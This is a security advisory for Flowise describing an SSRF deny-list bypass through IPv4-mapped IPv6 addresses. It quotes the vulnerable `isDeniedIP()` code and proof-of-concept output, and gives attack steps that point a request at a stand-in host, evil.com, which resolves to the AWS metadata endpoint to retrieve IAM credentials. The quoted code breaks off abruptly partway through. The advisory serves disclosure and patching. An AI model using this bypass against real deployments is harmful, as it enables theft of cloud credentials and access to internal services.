GHSA-c6xh-wv4j-ppv5 Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

• npm flowise: < 3.1.3 → fixed in 3.1.3

Summary Flowise's HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost. CWE • CWE-918: Server-Side Request Forgery (SSRF) • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check) Affected Versions • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03) • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+) Details Root Cause The `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison: ```typescript // httpSecurity.ts - isDeniedIP() export function isDeniedIP(ip: string, denyList: string[]): void { const parsedIp = ipaddr.parse(ip); for (const entry of denyList) { if (entry.includes('/')) { try { const [range, _] = entry.split('/') const parsedRange = ipaddr.parse(range) // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4' // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry if (parsedIp.kind() === parsedRange.kind()) { // ::ffff:a9fe:a9fe (169.254.169.254) 2. Attacker creates a chatflow with HTTP Node pointing to: URL: http://evil.com/latest/meta-data/iam/security-credentials/ 3. Flowise resolves evil.com -> ::ffff:169.254.169.254 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch) 5. Request reaches AWS IMDS -> Returns IAM role credentials ``` Verified PoC Output The following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `[email protected]` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic: Step 1: kind() mismatch confirmed ``` 169.254.169.254 kind=ipv4 isIPv4Mapped=false ::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254 127.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1 10.0.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1 192.168.1.1 kind=ipv4 isIPv4Mapped=false ::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1 172.16.0.1 kind=ipv4 isIPv4Mapped=false ::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1 ``` Step 2: Normal IPv4 — correctly blocked ✅ ``` 169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254) 127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8) 10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8) 192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16) 172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12) ``` Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️ ``` ::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254) ::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1) ::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1) ::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1) ::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1) ``` Step 4: Root cause — kind mismatch skips CIDR check ``` Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16 parsedIp.kind() = 'ipv6' parsedRange.kind() = 'ipv4' kind match? = false ← CIDR check is SKIPPED! But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16) ``` Step 5: Proposed fix — all bypass addresses now blocked ✅ ``` ::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16) ::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8) ::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (ma…